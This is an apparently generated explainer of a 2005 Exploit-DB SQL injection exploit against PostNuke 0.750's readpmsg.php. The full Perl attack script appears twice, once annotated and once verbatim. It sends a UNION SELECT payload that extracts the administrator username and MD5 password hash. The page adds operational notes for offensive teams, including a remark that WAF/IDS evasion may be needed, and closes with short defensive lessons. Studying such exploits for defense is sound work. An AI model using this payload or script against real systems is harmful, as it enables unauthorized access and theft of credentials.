PostNuke 0.750 'readpmsg.php' SQL Injection Explained

PostNuke 0.750 'readpmsg.php' SQL Injection Explained
What this paper is
This paper details a SQL injection vulnerability in the readpmsg.php script of PostNuke version 0.750. The exploit, coded by K-C0d3r, leverages this vulnerability to extract administrator username and MD5-hashed password information from the pn_users table.
Simple technical breakdown
The core of the vulnerability lies in how the readpmsg.php script handles user input without proper sanitization. The script is susceptible to SQL injection when constructing database queries. The exploit crafts a malicious HTTP GET request that injects a UNION SELECT statement into the query. This injected statement forces the database to return specific data (administrator username and password hash) from the pn_users table, which is then displayed in the web server's response.
Complete code and payload walkthrough
The provided Perl script KCpnuke-xpl.pl is designed to automate the exploitation of this SQL injection vulnerability.
#!/usr/bin/perl
# This tools is only for educational purpose
#
# K-C0d3r a x0n3-h4ck friend !!!
#
# This exploit should give admin nick and md5 password
#
#-=[ PostNuke SQL Injection version : x=> 0.750]=-
#-=[ ]=-
#-=[ Discovered by sp3x ]=-
#-=[ Coded by K-C0d3r ]=-
#-=[ irc.xoned.net #x0n3-h4ck to find me K-c0d3r[at]x0n3-h4ck.org]=-
#
# Greetz to mZ, 2b TUBE, off, rikky, milw0rm, str0ke
#
# !!! NOW IS PUBLIC (6-6-2005) !!!
use IO::Socket; # Imports the necessary module for network socket operations.
sub Usage { # Defines a subroutine named 'Usage' for displaying help information.
print STDERR "Usage: KCpnuke-xpl.pl <www.victim.com> </path/to/modules.php>\n"; # Prints the correct command-line usage to standard error.
exit; # Exits the script.
}
if (@ARGV < 2) # Checks if the number of command-line arguments is less than 2.
{
Usage(); # If less than 2 arguments, calls the Usage subroutine.
}
if (@ARGV > 2) # Checks if the number of command-line arguments is greater than 2.
{
Usage(); # If more than 2 arguments, calls the Usage subroutine.
}
if (@ARGV == 2) # Checks if exactly 2 command-line arguments are provided.
{
$host = @ARGV[0]; # Assigns the first argument (victim's hostname) to the $host variable.
$path = @ARGV[1]; # Assigns the second argument (path to modules.php) to the $path variable.
print "[K-C0d3r] PostNuke SQL Injection [x0n3-h4ck]\n"; # Prints a banner indicating the exploit's origin and purpose.
print "[+] Connecting to $host\n"; # Informs the user about the connection attempt to the target host.
$injection = "$host\/$path?"; # Initializes the base URL for the injection.
$injection .= "op=modload&name=Messages&file=readpmsg&start=0"; # Appends parameters that likely trigger the vulnerable script and its functionality.
# 'op=modload' and 'name=Messages' suggest loading a module named 'Messages'.
# 'file=readpmsg' points to the vulnerable PHP file.
# 'start=0' is a parameter that might be used for pagination or data retrieval.
$injection .= "%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null"; # This is the core SQL injection payload.
# '%20' is URL encoding for a space.
# 'UNION SELECT' is a SQL command to combine the results of two SELECT statements.
# 'pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null' are the columns being selected.
# The exploit is trying to extract the username ('pn_uname') and password hash ('pn_pass') from the 'pn_users' table.
# The 'null' values are placeholders to match the expected number of columns in the original query, which is unknown but implied to be at least 8 by this injection.
# The specific repetition of 'pn_uname' and 'pn_pass' suggests the attacker is trying to find which output columns will display the desired data.
$injection .= "%20FROM%20pn_users%20WHERE%20pn_uid=2\/*&total_messages=1"; # Continues the SQL injection payload.
# 'FROM pn_users' specifies the table to retrieve data from.
# 'WHERE pn_uid=2' filters the results to a specific user ID, likely the administrator (UID 1 or 2 are common defaults).
# '\/*' is a comment in SQL, used to terminate the original query gracefully after the injected part. This prevents syntax errors.
# '&total_messages=1' is an additional parameter that might be present in the original URL and is included to maintain the request's structure.
$socket = new IO::Socket::INET (PeerAddr => "$host", # Creates a new TCP socket connection to the target host.
PeerPort => 80, # Specifies the standard HTTP port.
Proto => 'tcp'); # Sets the protocol to TCP.
die unless $socket; # Exits if the socket connection fails.
print "[+] Injecting command ...\n"; # Informs the user that the malicious request is being sent.
print $socket "GET http://$injection HTTP/1.1\nHost: $host\n\n"; # Sends the crafted HTTP GET request to the target.
# 'GET http://$injection HTTP/1.1' is the request line.
# 'Host: $host' is a required HTTP header.
# '\n\n' signifies the end of the HTTP headers.
while (<$socket>) # Reads the response from the socket line by line.
{
print $_; # Prints each line of the response to standard output.
exit; # Exits the script after receiving and printing the first line of the response. This is a simplification; a real exploit might parse the entire response.
}
# milw0rm.com [2005-06-05]Code Fragment/Block -> Practical Purpose Mapping:
use IO::Socket;-> Enables network communication for sending HTTP requests.sub Usage { ... }-> Provides instructions on how to run the script.if (@ARGV < 2) { Usage(); }-> Input validation: ensures at least two arguments are provided.if (@ARGV > 2) { Usage(); }-> Input validation: ensures no more than two arguments are provided.$host = @ARGV[0];-> Captures the target hostname.$path = @ARGV[1];-> Captures the path to the vulnerable PHP file.$injection = "$host\/$path?op=modload&name=Messages&file=readpmsg&start=0";-> Constructs the base URL with parameters likely to invoke the vulnerable script.$injection .= "%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null";-> The first part of the SQL injection payload, specifying the columns to retrieve and theUNION SELECTcommand.$injection .= "%20FROM%20pn_users%20WHERE%20pn_uid=2\/*&total_messages=1";-> The second part of the SQL injection payload, specifying the target table, a condition to select a specific user, and a SQL comment to terminate the original query.$socket = new IO::Socket::INET (...)-> Establishes a TCP connection to the target on port 80.print $socket "GET http://$injection HTTP/1.1\nHost: $host\n\n";-> Sends the crafted HTTP GET request containing the SQL injection.while (<$socket>) { print $_; exit; }-> Reads and prints the server's response, then exits. This is a simplified response handling.
Shellcode/Payload Segments:
There is no distinct "shellcode" in the traditional sense (executable machine code). The "payload" here is the crafted SQL query string embedded within the HTTP request.
- SQL Injection String:
%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null%20FROM%20pn_users%20WHERE%20pn_uid=2\/*- Purpose: This string is designed to be injected into the original SQL query executed by
readpmsg.php. - Stage 1:
UNION SELECT: Combines the results of the original query with the results of the injected query. - Stage 2:
pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null: Selects specific columns from thepn_userstable. The repetition ofpn_unameandpn_passsuggests the attacker is trying to determine which output fields will display the data. It's likely that the original query also selected multiple columns, and the attacker is trying to match the number of columns and find where their injected data appears. - Stage 3:
FROM pn_users: Specifies the target table containing user credentials. - Stage 4:
WHERE pn_uid=2: Filters the results to a specific user ID.pn_uid=2is a common choice for targeting an administrator account, thoughpn_uid=1is also frequent. - Stage 5:
\/*: A SQL comment that effectively terminates the original query, ensuring only the injectedSELECTstatement is executed.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server (typically port 80 or 443). No prior authentication is required for this specific vulnerability.
- Lab Preconditions:
- A PostNuke 0.750 installation (or a similarly vulnerable version) is required for testing.
- A web server (e.g., Apache) configured to serve PHP.
- A database (e.g., MySQL) accessible by the web server.
- An administrator account configured in PostNuke, ideally with
pn_uid1 or 2.
- Tooling Assumptions:
- Perl interpreter for running the exploit script.
- Basic network connectivity.
- A web browser or tool like
curlto manually verify responses if needed.
- Execution Pitfalls:
- Incorrect Path: Providing the wrong path to
modules.phpwill result in the exploit failing. The path is usually relative to the web root. - WAF/IDS Evasion: The simple URL-encoded payload might be detected by Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS). More sophisticated encoding or obfuscation might be needed.
- Database Schema Variations: If the
pn_userstable name or column names (pn_uname,pn_pass,pn_uid) have been altered in a custom PostNuke installation, the exploit will fail. - Response Parsing: The provided script exits after the first line of output. A more robust exploit would parse the entire HTTP response to reliably extract the username and password hash, as they might not appear on the very first line.
- Firewall/Proxy Blocking: Network firewalls or proxies could block outbound connections to the target port.
- Target Version: The exploit is specific to PostNuke 0.750. Newer versions or different CMS platforms will not be vulnerable to this exact injection.
- Incorrect Path: Providing the wrong path to
- Telemetry:
- Network: Outbound HTTP GET request to the target host on port 80.
- Web Server Logs: Access logs will show a GET request to the specified
modules.phpwith the injected parameters. The query string will be visible. - Database Logs: If database logging is enabled, queries to the
pn_userstable, including the injectedUNION SELECTstatement, might be logged. - Application Logs: PostNuke or PHP error logs might record database errors if the injection is malformed or if the database connection fails.
- Exploit Script Output: The script itself will print the server's response, which, if successful, will contain the extracted username and password hash.
Where this was used and when
This exploit targets PostNuke version 0.750. PostNuke was a popular Content Management System (CMS) in the early to mid-2000s. This specific vulnerability was published on June 5, 2005. Exploits of this nature were common against web applications of that era, which often lacked robust input validation and security best practices. While PostNuke itself is largely obsolete, the principles of SQL injection demonstrated here remain relevant for understanding vulnerabilities in older or less maintained web applications.
Defensive lessons for modern teams
- Input Validation is Paramount: Always sanitize and validate all user-supplied input before it is used in database queries. Use parameterized queries or prepared statements to prevent SQL injection.
- Least Privilege: Ensure database accounts used by web applications have only the necessary permissions. Avoid granting broad
SELECTorUPDATEprivileges on sensitive tables. - Regular Patching and Updates: Keep all software, including CMS, plugins, and underlying frameworks, up-to-date with the latest security patches. PostNuke 0.750 is long out of support.
- Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common attack patterns, including SQL injection attempts.
- Secure Coding Practices: Train developers on secure coding principles, including how to avoid common vulnerabilities like SQL injection, cross-site scripting (XSS), and insecure direct object references (IDOR).
- Error Handling: Implement generic error messages for users. Avoid revealing detailed database error messages that could provide attackers with information about the database schema or query structure.
ASCII visual (if applicable)
This exploit is a direct client-to-server interaction. An ASCII visual might represent the flow of the HTTP request and response.
+-----------------+ HTTP GET Request +-----------------+
| Attacker's Host | -------------------------> | Target Web Server |
| (Perl Script) | (with injected SQL) | (PostNuke 0.750) |
+-----------------+ +--------+--------+
|
| SQL Query
| (modified)
v
+-----------------+
| Database Server |
| (pn_users table)|
+--------+--------+
|
| SQL Results
| (username, password hash)
v
+-----------------+ HTTP Response +--------+--------+
| Attacker's Host | <------------------------- | Target Web Server |
| (Perl Script) | (with extracted data)| |
+-----------------+ +-----------------+Source references
- Paper ID: 1030
- Paper Title: PostNuke 0.750 - 'readpmsg.php' SQL Injection
- Author: K-C0d3r
- Published: 2005-06-05
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/1030
- Raw URL: https://www.exploit-db.com/raw/1030
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
# This tools is only for educational purpose
#
# K-C0d3r a x0n3-h4ck friend !!!
#
# This exploit should give admin nick and md5 password
#
#-=[ PostNuke SQL Injection version : x=> 0.750]=-
#-=[ ]=-
#-=[ Discovered by sp3x ]=-
#-=[ Coded by K-C0d3r ]=-
#-=[ irc.xoned.net #x0n3-h4ck to find me K-c0d3r[at]x0n3-h4ck.org]=-
#
# Greetz to mZ, 2b TUBE, off, rikky, milw0rm, str0ke
#
# !!! NOW IS PUBLIC (6-6-2005) !!!
use IO::Socket;
sub Usage {
print STDERR "Usage: KCpnuke-xpl.pl <www.victim.com> </path/to/modules.php>\n";
exit;
}
if (@ARGV < 2)
{
Usage();
}
if (@ARGV > 2)
{
Usage();
}
if (@ARGV == 2)
{
$host = @ARGV[0];
$path = @ARGV[1];
print "[K-C0d3r] PostNuke SQL Injection [x0n3-h4ck]\n";
print "[+] Connecting to $host\n";
$injection = "$host\/$path?";
$injection .= "op=modload&name=Messages&file=readpmsg&start=0";
$injection .= "%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null";
$injection .= "%20FROM%20pn_users%20WHERE%20pn_uid=2\/*&total_messages=1";
$socket = new IO::Socket::INET (PeerAddr => "$host",
PeerPort => 80,
Proto => 'tcp');
die unless $socket;
print "[+] Injecting command ...\n";
print $socket "GET http://$injection HTTP/1.1\nHost: $host\n\n";
while (<$socket>)
{
print $_;
exit;
}
}
# milw0rm.com [2005-06-05]